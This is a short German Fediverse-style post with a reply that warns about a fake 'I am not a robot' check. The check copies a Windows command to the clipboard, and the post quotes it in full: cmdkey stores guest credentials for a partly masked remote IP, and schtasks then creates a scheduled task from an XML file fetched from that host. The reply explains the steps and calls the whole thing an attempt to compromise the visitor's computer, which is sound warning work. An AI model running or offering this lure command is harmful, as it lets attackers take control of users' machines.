2026-03-30 07:54 UTC
Die Zwischenablage enthält dann:
cmd /c cmdkey /add:192.142.xxx.yyy /user:guest && schtasks /Create /TN "SfFresh" /XML "\\192.142.xx.yyy\shop\geto.xml" & REM I am not a robot - Cloudflare ID: d7f5XXXXXXXXXc571
Replies (1)
-
@schneidr@social.tchncs.de 2026-03-30 08:22
Was macht das? Es speichert Gast-Zugangsdaten für eine IP-Adresse im Internet auf dem lokalen PC. Danach wird ein geplanter Task angelegt, dessen Konfiguration aus einer XML-Datei ausgelesen wird die von der genannten IP-Adresse abgerufen wird. Danach wird nochmal "I am not a robot" mit einer Pseudo-ID ausgegeben, um legitim zu wirken. Was der geplante Task macht habe ich nicht untersucht, ich wollte mir die XML-Datei nicht holen. Auf jeden Fall ist das KEINE Übrprüfung on man ein Mensch ist, das ist ein Versuch den Rechner des Besuchers zu kompromittieren.